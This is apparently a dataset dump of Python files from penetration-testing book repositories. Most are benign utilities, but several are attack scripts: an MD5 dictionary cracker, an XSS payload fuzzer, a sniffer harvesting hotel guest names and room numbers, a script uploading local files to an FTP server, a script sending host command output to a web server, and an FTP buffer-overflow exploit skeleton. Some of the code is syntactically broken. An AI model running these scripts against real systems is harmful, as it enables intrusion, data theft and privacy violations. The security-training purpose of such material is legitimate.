repo_name
stringclasses
29 values
text
stringlengths
18
367k
avg_line_length
float64
5.6
132
max_line_length
int64
11
3.7k
alphnanum_fraction
float64
0.28
0.94
owtf
from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): Content = plugin_helper.HtmlString("Intended to show helpful info in the future") return Content
23.777778
85
0.765766
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 def compute_area(shape,**args): if shape.lower() == "circle": radius=args.get("radius",0) area=2.17 * (radius **2) print("Area circle : " +str(area)) elif shape.lower() in ["rect","rectangle"]: length=args.get("length",0) width=args.get("width",0) area=length*width print("Area Rect : " +str(area)) elif shape.lower() == "triangle": base=args.get("base",0) altitude=args.get("altitude",0) area=(base*altitude)/2 print("Area :Triangle " +str(area)) elif shape.lower() == "square": side=args.get("side",0) area= side **2 print("Area Square : " +str(area)) else: print("Shape not supported")
22.321429
44
0.627301
cybersecurity-penetration-testing
#!/usr/bin/python import hashlib target = raw_input("Please enter your hash here: ") dictionary = raw_input("Please enter the file name of your dictionary: ") def main(): with open(dictionary) as fileobj: for line in fileobj: line = line.strip() if hashlib.md5(line).hexdigest() == target: print "Hash was successfully cracked %s: The value is %s" % (target, line) return "" print "Failed to crack the file." if __name__ == "__main__": main()
26.578947
90
0.592734
Python-Penetration-Testing-Cookbook
from scapy.all import * hiddenSSIDs = dict() def parseSSID(pkt): if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp): if not hiddenSSIDs.has_key(pkt[Dot11].addr3): ssid = pkt[Dot11Elt].info bssid = pkt[Dot11].addr3 channel = int( ord(pkt[Dot11Elt:3].info)) capability = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}") if re.search("privacy", capability): encrypted = 'Y' else: encrypted = 'N' hiddenSSIDs[pkt[Dot11].addr3] =[encrypted, ssid, bssid, channel] print (hiddenSSIDs) sniff(iface='wlp3s0b1', prn=parseSSID, count=10, timeout=3, store=0)
35
109
0.586755
cybersecurity-penetration-testing
#!/usr/bin/env python ''' Author: Chris Duffy Date: May 2015 Purpose: An script that can process and parse NMAP XMLs Returnable Data: A dictionary of hosts{iterated number} = [[hostnames], address, protocol, port, service name] Name: nmap_parser.py Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import sys import xml.etree.ElementTree as etree import argparse import collections try: import nmap_doc_generator as gen except Exception as e: print(e) sys.exit("[!] Please download the nmap_doc_generator.py script") class Nmap_parser: def __init__(self, nmap_xml, verbose=0): self.nmap_xml = nmap_xml self.verbose = verbose self.hosts = {} try: self.run() except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) def run(self): # Parse the nmap xml file and extract hosts and place them in a dictionary # Input: Nmap XML file and verbose flag # Return: Dictionary of hosts [iterated number] = [hostname, address, protocol, port, service name, state] if not self.nmap_xml: sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) try: tree = etree.parse(self.nmap_xml) except: sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) hosts={} services=[] hostname_list=[] root = tree.getroot() hostname_node = None if self.verbose > 0: print ("[*] Parsing the Nmap XML file: %s") % (self.nmap_xml) for host in root.iter('host'): hostname = "Unknown hostname" for addresses in host.iter('address'): hwaddress = "No MAC Address ID'd" ipv4 = "No IPv4 Address ID'd" addressv6 = "No IPv6 Address ID'd" temp = addresses.get('addrtype') if "mac" in temp: hwaddress = addresses.get('addr') if self.verbose > 2: print("[*] The host was on the same broadcast domain") if "ipv4" in temp: address = addresses.get('addr') if self.verbose > 2: print("[*] The host had an IPv4 address") if "ipv6" in temp: addressv6 = addresses.get('addr') if self.verbose > 2: print("[*] The host had an IPv6 address") try: hostname_node = host.find('hostnames').find('hostname') except: if self.verbose > 1: print ("[!] No hostname found") if hostname_node is not None: hostname = hostname_node.get('name') else: hostname = "Unknown hostname" if self.verbose > 1: print("[*] The hosts hostname is %s") % (str(hostname_node)) hostname_list.append(hostname) for item in host.iter('port'): state = item.find('state').get('state') #if state.lower() == 'open': service = item.find('service').get('name') protocol = item.get('protocol') port = item.get('portid') services.append([hostname_list, address, protocol, port, service, hwaddress, state]) hostname_list=[] for i in range(0, len(services)): service = services[i] index = len(service) - 1 hostname = str1 = ''.join(service[0]) address = service[1] protocol = service[2] port = service[3] serv_name = service[4] hwaddress = service[5] state = service[6] self.hosts[i] = [hostname, address, protocol, port, serv_name, hwaddress, state] if self.verbose > 2: print ("[+] Adding %s with an IP of %s:%s with the service %s")%(hostname,address,port,serv_name) if self.hosts: if self.verbose > 4: print ("[*] Results from NMAP XML import: ") for key, entry in self.hosts.iteritems(): print("[*] %s") % (str(entry)) if self.verbose > 0: print ("[+] Parsed and imported unique ports %s") % (str(i+1)) else: if self.verbose > 0: print ("[-] No ports were discovered in the NMAP XML file") def hosts_return(self): # A controlled return method # Input: None # Returned: The processed hosts try: return self.hosts except Exception as e: print("[!] There was an error returning the data %s") % (e) if __name__ == '__main__': # If script is executed at the CLI usage = '''usage: %(prog)s [-x reports.xml] [-f xml_output2.xlsx] -s -q -v -vv -vvv''' parser = argparse.ArgumentParser(usage=usage) parser.add_argument("-x", "--xml", type=str, help="Generate a dictionary of data based on a NMAP XML import, more than one file may be passed, separated by a comma", action="store", dest="xml") parser.add_argument("-f", "--filename", type=str, action="store", dest="filename", default="xml_output", help="The filename that will be used to create an XLSX") parser.add_argument("-s", "--simple", action="store_true", dest="simple", help="Format the output into a simple excel product, instead of a report") parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result") parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet") parser.add_argument('--version', action='version', version='%(prog)s 0.43b') args = parser.parse_args() # Argument Validator if len(sys.argv)==1: parser.print_help() sys.exit(1) # Set Constructors xml = args.xml # nmap XML if not xml: sys.exit("[!] No XML file provided") verbose = args.verbose # Verbosity level filename = args.filename # Filename to output XLSX simple = args.simple # Sets the colors for the excel spreadsheet output xml_list=[] # List to hold XMLs # Set return holder hosts=[] # List to hold instances hosts_temp={} # Temporary dictionary, which holds returned data from specific instances hosts_dict={} # Dictionary, which holds the combined returned dictionaries processed_hosts={} # The dictionary, which holds the unique values from all processed XMLs count = 0 # Count for combining dictionaries unique = set() # Instantiation for proof of concept if "," in xml: xml_list = xml.split(',') else: xml_list.append(xml) for x in xml_list: try: tree_temp = etree.parse(x) except: sys.exit("[!] Cannot open XML file: %s \n[-] Ensure that your are passing the correct file and format" % (x)) try: root = tree_temp.getroot() name = root.get("scanner") if name is not None and "nmap" in name: if verbose > 1: print ("[*] File being processed is an NMAP XML") hosts.append(Nmap_parser(x, verbose)) else: print("[!] File % is not an NMAP XML") % (str(x)) sys.exit(1) except Exception, e: print("[!] Processing of file %s failed %s") % (str(x), str(e)) sys.exit(1) # Processing of each instance returned to create a composite dictionary if not hosts: sys.exit("[!] There was an issue processing the data") for inst in hosts: hosts_temp = inst.hosts_return() if hosts_temp is not None: for k, v in hosts_temp.iteritems(): hosts_dict[count] = v count+=1 hosts_temp.clear() if verbose > 3: for key, value in hosts_dict.iteritems(): print("[*] Key: %s Value: %s") % (key,value) temp = [(k, hosts_dict[k]) for k in hosts_dict] temp.sort() key = 0 for k, v in temp: compare = lambda x, y: collections.Counter(x) == collections.Counter(y) if str(v) in str(processed_hosts.values()): continue else: key+=1 processed_hosts[key] = v # Generator for XLSX documents gen.Nmap_doc_generator(verbose, processed_hosts, filename, simple) # Printout of dictionary values #if verbose > 0: # for key, target in processed_hosts.iteritems(): # print("[*] Hostname: %s IP: %s Protocol: %s Port: %s Service: %s State: %s MAC address: %s" % (target[0],target[1],target[2],target[3],target[4],target[6],target[5]))
44.607759
197
0.583743
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import mechanize def testProxy(url, proxy): browser = mechanize.Browser() browser.set_proxies(proxy) page = browser.open(url) source_code = page.read() print source_code url = 'http://ip.nefsc.noaa.gov/' hideMeProxy = {'http': '216.155.139.115:3128'} testProxy(url, hideMeProxy)
17.315789
46
0.657061
cybersecurity-penetration-testing
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "192.168.0.1" port =12345 s.connect((host,port)) print s.recv(1024) s.send("Hello Server") s.close()
18.666667
53
0.715909
cybersecurity-penetration-testing
from ftplib import FTP import time import os user = sys.argv[1] pw = sys.argv[2] ftp = FTP("127.0.0.1", user, pw) filescheck = "aa" loop = 0 up = "../" while 1: files = os.listdir("./"+(i*up)) print files for f in files: try: fiile = open(f, 'rb') ftp.storbinary('STOR ftpfiles/00'+str(f), fiile) fiile.close() else: pass if filescheck == files: break else: filescheck = files loop = loop+1 time.sleep(10) ftp.close()
12.441176
51
0.609649
cybersecurity-penetration-testing
import scapy, GeoIP from scapy import * gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE) def locatePackage(pkg): src=pkg.getlayer(IP).src dst=pkg.getlayer(IP).dst srcCountry = gi.country_code_by_addr(src) dstCountry = gi.country_code_by_addr(dst) print srcCountry+">>"+dstCountry try: while True: sniff(filter="ip",prn=locatePackage,store=0) except KeyboardInterrupt: print "\nScan Aborted!\n"
22.411765
46
0.745592
Hands-On-Penetration-Testing-with-Python
#! /usr/bin/python3.5 from multiprocessing import Pool import pandas as pd import numpy as np import multiprocessing as mp import datetime as dt class Pooling(): def write_to_file(self,file_name): try: st_time=dt.datetime.now() process=mp.current_process() name=process.name print("Started process : " +str(name)) with open(file_name,"w+") as out_file: out_file.write("Process_name,Record_id,Date_time"+"\n") for i in range(1000000): out_file.writeline(str(name)","+str(i)+","+str(dt.datetime.now())+"\n") print("Ended process : " +str(name)) en_time=dt.datetime.now() return "Process : "+str(name)+" - Exe time in sec : " +str((en_time-st_time).seconds) except Exception as ex: print("Exception caught :"+str(ex)) return "Process : "+str(name)+" - Exception : " +str(ex) def driver(self): try: st_time=dt.datetime.now() p_cores=mp.cpu_count() pool = mp.Pool(p_cores) results=[] for i in range(8): results.append(pool.apply_async(self.write_to_file,"Million_"+str(i))) final_results=[] for result in results: final_results.append(result.get()) pool.close() pool.join() en_time=dt.datetime.now() print("Results : ") for rec in final_results: print(rec) print("Total Execution time : " +str((en_time-st_time).seconds)) except Exception as ex: print("Exception caught :"+str(ex)) obj=Pooling() obj.driver()
28.479167
88
0.653465
Hands-On-Penetration-Testing-with-Python
# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding field 'Vulnerability.url' db.add_column(u'xtreme_server_vulnerability', 'url', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.re_attack' db.add_column(u'xtreme_server_vulnerability', 're_attack', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.project' db.add_column(u'xtreme_server_vulnerability', 'project', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.timestamp' db.add_column(u'xtreme_server_vulnerability', 'timestamp', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.msg_type' db.add_column(u'xtreme_server_vulnerability', 'msg_type', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.msg' db.add_column(u'xtreme_server_vulnerability', 'msg', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) # Adding field 'Vulnerability.auth' db.add_column(u'xtreme_server_vulnerability', 'auth', self.gf('django.db.models.fields.TextField')(default='', blank=True), keep_default=False) def backwards(self, orm): # Deleting field 'Vulnerability.url' db.delete_column(u'xtreme_server_vulnerability', 'url') # Deleting field 'Vulnerability.re_attack' db.delete_column(u'xtreme_server_vulnerability', 're_attack') # Deleting field 'Vulnerability.project' db.delete_column(u'xtreme_server_vulnerability', 'project') # Deleting field 'Vulnerability.timestamp' db.delete_column(u'xtreme_server_vulnerability', 'timestamp') # Deleting field 'Vulnerability.msg_type' db.delete_column(u'xtreme_server_vulnerability', 'msg_type') # Deleting field 'Vulnerability.msg' db.delete_column(u'xtreme_server_vulnerability', 'msg') # Deleting field 'Vulnerability.auth' db.delete_column(u'xtreme_server_vulnerability', 'auth') models = { u'xtreme_server.form': { 'Meta': {'object_name': 'Form'}, 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'form_action': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'form_content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'form_method': ('django.db.models.fields.CharField', [], {'default': "'GET'", 'max_length': '10'}), 'form_name': ('django.db.models.fields.CharField', [], {'max_length': '512', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_field_list': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}) }, u'xtreme_server.inputfield': { 'Meta': {'object_name': 'InputField'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'input_type': ('django.db.models.fields.CharField', [], {'default': "'input'", 'max_length': '256', 'blank': 'True'}) }, u'xtreme_server.learntmodel': { 'Meta': {'object_name': 'LearntModel'}, 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'learnt_model': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'page': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Page']"}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'query_id': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.page': { 'Meta': {'object_name': 'Page'}, 'URL': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'auth_visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'connection_details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'content': ('django.db.models.fields.TextField', [], {'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'page_found_on': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'project': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Project']"}), 'status_code': ('django.db.models.fields.CharField', [], {'max_length': '256', 'blank': 'True'}), 'visited': ('django.db.models.fields.BooleanField', [], {'default': 'False'}) }, u'xtreme_server.project': { 'Meta': {'object_name': 'Project'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), 'login_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'logout_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'password': ('django.db.models.fields.TextField', [], {}), 'password_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}), 'project_name': ('django.db.models.fields.CharField', [], {'max_length': '50', 'primary_key': 'True'}), 'query_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'start_url': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'status': ('django.db.models.fields.CharField', [], {'default': "'Not Set'", 'max_length': '50'}), 'username': ('django.db.models.fields.TextField', [], {}), 'username_field': ('django.db.models.fields.TextField', [], {'default': "'Not Set'"}) }, u'xtreme_server.settings': { 'Meta': {'object_name': 'Settings'}, 'allowed_extensions': ('django.db.models.fields.TextField', [], {}), 'allowed_protocols': ('django.db.models.fields.TextField', [], {}), 'auth_mode': ('django.db.models.fields.TextField', [], {}), 'consider_only': ('django.db.models.fields.TextField', [], {}), 'exclude_fields': ('django.db.models.fields.TextField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'password': ('django.db.models.fields.TextField', [], {}), 'username': ('django.db.models.fields.TextField', [], {}) }, u'xtreme_server.vulnerability': { 'Meta': {'object_name': 'Vulnerability'}, 'auth': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'details': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'form': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['xtreme_server.Form']"}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'msg': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'msg_type': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'project': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 're_attack': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'timestamp': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'url': ('django.db.models.fields.TextField', [], {'blank': 'True'}) } } complete_apps = ['xtreme_server']
58.571429
130
0.549657
PenetrationTestingScripts
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : jeffzhang # @Time : 18-5-14 # @File : __init__.py.py # @Desc : ""
16
27
0.481481
Python-Penetration-Testing-for-Developers
import requests import urllib import subprocess from subprocess import PIPE, STDOUT commands = ['whoami','hostname','uname'] out = {} for command in commands: try: p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE) out[command] = p.stdout.read().strip() except: pass requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
22.058824
73
0.667519
Penetration_Testing
from distutils.core import setup import py2exe setup(options = {"py2exe": {"bundle_files": 3,"compressed":True}}, windows = [{"script":"windows_screen-grabber.py"}], zipfile = None)
35.8
134
0.710383
cybersecurity-penetration-testing
import urllib2 import sys __author__ = 'Preston Miller and Chapin Bryce' __date__ = '20160401' __version__ = 0.02 __description__ = """Reads Linux-usb.org's USB.ids file and parses into usable data for parsing VID/PIDs""" def main(): """ Main function to control operation. Requires arguments passed as VID PID on the command line. If discovered in data set, the common names will be printed to stdout :return: None """ ids = getIds() usb_file = getUSBFile() usbs = parseFile(usb_file) results = searchKey(usbs, ids) print "Vendor: {}\nProduct: {}".format(results[0],results[1]) def getIds(): """ Retrieves vid and pid from arguments in the format of VID PID. ie: python usb_lookup.py 0123 4567 """ if len(sys.argv) >= 3: return sys.argv[1], sys.argv[2] else: print """Please provide the vendor Id and product Id separated by spaces at the command line. ie: python usb_lookup.py 0123 4567 """ sys.exit(1) def getUSBFile(): """ Retrieves USB.ids database from the web. """ url = 'http://www.linux-usb.org/usb.ids' return urllib2.urlopen(url) def parseFile(usb_file): """ Parses the USB.ids file. If this is run offline, please download the USB.ids and pass the open file to this function. ie: parseFile(open('path/to/USB.ids', 'r')) :return: dictionary of entires for querying """ usbs = {} curr_id = '' for line in usb_file: if line.startswith('#') or line == '\n': pass else: if not line.startswith('\t') and (line[0].isdigit() or line[0].islower()): id, name = getRecord(line.strip()) curr_id = id usbs[id] = [name, {}] elif line.startswith('\t') and line.count('\t') == 1: id, name = getRecord(line.strip()) usbs[curr_id][1][id] = name return usbs def getRecord(record_line): """ Split records out by dynamic position. By finding the space, we can determine the location to split the record for extraction. To learn more about this, uncomment the print statements and see what the code is doing behind the scenes! """ # print "Line: ", # print record_line split = record_line.find(' ') # print "Split: ", # print split record_id = record_line[:split] # print "Record ID: ", # print record_id record_name = record_line[split + 1:] # print "Record Name: ", # print record_name return record_id, record_name def searchKey(usb_dict, ids): """ Compare provided IDs to the built USB dictionary. If found, it will return the common name, otherwise returns the string "Unknown" """ vendor_key = ids[0] product_key = ids[1] try: vendor = usb_dict[vendor_key][0] except KeyError: vendor = 'Unknown' try: product = usb_dict[vendor_key][1][product_key] except KeyError: product = 'Unknown' return vendor, product if __name__ == '__main__': main()
26.830357
107
0.596919
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import optparse from scapy.all import * def findGuest(pkt): raw = pkt.sprintf('%Raw.load%') name = re.findall('(?i)LAST_NAME=(.*)&', raw) room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw) if name: print '[+] Found Hotel Guest ' + str(name[0])+\ ', Room #' + str(room[0]) def main(): parser = optparse.OptionParser('usage %prog '+\ '-i <interface>') parser.add_option('-i', dest='interface',\ type='string', help='specify interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: print '[*] Starting Hotel Guest Sniffer.' sniff(filter='tcp', prn=findGuest, store=0) except KeyboardInterrupt: exit(0) if __name__ == '__main__': main()
22.435897
60
0.561884
cybersecurity-penetration-testing
import requests import sys from bs4 import BeautifulSoup, SoupStrainer url = "http://127.0.0.1/xss/medium/guestbook2.php" url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>'] up = "../" i = 0 d = {} sets = [] initial = requests.get(url) for payload in payloads: for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): print field if field.has_attr('name'): if field['name'].lower() == "submit": d[field['name']] = "submit" else: d[field['name']] = payload sets.append(d) req = requests.post(url2, data=d) checkresult = requests.get(url3) if payload in checkresult.text: print "Full string returned" print "Attacks string: "+ payload d = {}
30.857143
109
0.650954
Python-Penetration-Testing-Cookbook
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html class BooksPipeline(object): def process_item(self, item, spider): return item
22.833333
65
0.701754
cybersecurity-penetration-testing
import socket host = "192.168.0.1" port = 12346 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind((host,port)) s.settimeout(5) data, addr = s.recvfrom(1024) print "recevied from ",addr print "obtained ", data s.close()
21.9
52
0.714912
Penetration-Testing-with-Shellcode
#!/usr/bin/python import socket junk = 'A'*4061 nSEH = 'B'*4 SEH = 'C'*4 pad = 'D'*(5000-4061-4-4) injection = junk + nSEH + SEH + pad s = socket.socket() s.connect(('192.168.129.128',80)) s.send("GET " + injection + " HTTP/1.0\r\n\r\n") s.close()
14.9375
49
0.586614
cybersecurity-penetration-testing
class Solution(object): # def findShortestSubArray(self, nums): # """ # :type nums: List[int] # :rtype: int # """ # res = len(nums) # counter = collections.Counter() # for num in nums: # counter[num] += 1 # degree = max(counter.values()) # for key, kdegree in counter.most_common(): # if degree != kdegree: # break # res = min(res, self.smallestSubArray(nums, key, degree)) # return res # def smallestSubArray(self, nums, key, degree): # start = nums.index(key) # pos = start + 1 # degree -= 1 # while pos < len(nums) and degree != 0: # if nums[pos] == key: # degree -= 1 # pos += 1 # return pos - start def findShortestSubArray(self, nums): left, right, count = {}, {}, {} for i, x in enumerate(nums): if x not in left: left[x] = i right[x] = i count[x] = count.get(x, 0) + 1 ans = len(nums) degree = max(count.values()) for x in count: if count[x] == degree: ans = min(ans, right[x] - left[x] + 1) return ans
28.809524
70
0.46283
Python-Penetration-Testing-for-Developers
import socket s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0",socket.ntohs(0x0800))) sor = '\x00\x0c\x29\x4f\x8e\x35' des ='\x00\x0C\x29\x2E\x84\x7A' code ='\x08\x00' eth = des+sor+code s.send(eth)
21.090909
74
0.694215
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python3.5 l1=[1,2,3,4] l2=[5,6,7,8] zipped=list(zip(l1,l2)) print("Zipped is : " +str(zipped)) sum_=[x+y for x,y in zipped] print("Sum : "+str(sum_)) sum_1=list(map(lambda x :x[0]+x[1] ,zip(l1,l2))) print("Sum one shot (M1) : "+str(sum_1)) sum_2=[x + y for x,y in zip(l1,l2)] print("Sum 1 shot (M2) : "+str(sum_2))
22.5
48
0.585366
cybersecurity-penetration-testing
#!/usr/bin/python import hashlib import sys def multi_hash(filename): """Calculates the md5 and sha256 hashes of the specified file and returns a list containing the hash sums as hex strings.""" md5 = hashlib.md5() sha256 = hashlib.sha256() with open(filename, 'rb') as f: while True: buf = f.read(2**20) if not buf: break md5.update(buf) sha256.update(buf) return [md5.hexdigest(), sha256.hexdigest()] if __name__ == '__main__': hashes = [] print '---------- MD5 sums ----------' for filename in sys.argv[1:]: h = multi_hash(filename) hashes.append(h) print '%s %s' % (h[0], filename) print '---------- SHA256 sums ----------' for i in range(len(hashes)): print '%s %s' % (hashes[i][1], sys.argv[i+1])
23.444444
54
0.515358
Effective-Python-Penetration-Testing
import mechanize cookies = mechanize.CookieJar() cookie_opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cookies)) mechanize.install_opener(cookie_opener) url = "http://www.webscantest.com/crosstraining/aboutyou.php" res = mechanize.urlopen(url) content = res.read()
16.352941
78
0.765306
owtf
from owtf.managers.resource import get_resources from owtf.plugin.helper import plugin_helper DESCRIPTION = "Plugin to assist manual testing" def run(PluginInfo): resource = get_resources("ExternalCommandInjection") Content = plugin_helper.resource_linklist("Online Resources", resource) return Content
28
75
0.783019
cybersecurity-penetration-testing
#!/usr/bin/env python """ Very simple HTTP server in python. Usage:: ./dummy-web-server.py [<port>] Send a GET request:: curl http://localhost Send a HEAD request:: curl -I http://localhost Send a POST request:: curl -d "foo=bar&bin=baz" http://localhost """ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import SocketServer class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_GET(self): self._set_headers() self.wfile.write("<html><body><h1>hi!</h1></body></html>") def do_HEAD(self): self._set_headers() def do_POST(self): # Doesn't do anything with posted data self._set_headers() self.wfile.write("<html><body><h1>POST!</h1></body></html>") def run(server_class=HTTPServer, handler_class=S, port=80): server_address = ('', port) httpd = server_class(server_address, handler_class) print 'Starting httpd...' httpd.serve_forever() if __name__ == "__main__": from sys import argv if len(argv) == 2: run(port=int(argv[1])) else: run()
22.634615
68
0.608306
Python-Penetration-Testing-for-Developers
#!/usr/bin/env python ''' Author: Chris Duffy Date: May 2015 Name: tftp_exploit.py Purpose: An example script to help test the exploitability of Sami FTP Server 2.0.1 after reversing a Metasploit module. Copyright (c) 2015, Christopher Duffy All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' import sys, socket, strut rhost = "" lhost = "" rport = 21 password = "[email protected]" username = "anonymous" eip = struct.pack('<I',0x10028283) offset = 228 - len(lhost) nop = "\x90" *16 shell =() #Shellcode was not inserted to save space exploit = offset + eip + nop + shell client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect((rhost, rport)) print(client.recv(1024)) client.send("USER " + username + "\r\n") print(client.recv(1024)) client.send("PASS "password + "\r\n") print(client.recv(1024)) print("[*] Sending exploit") client.send("LIST" + exploit + "\r\n") 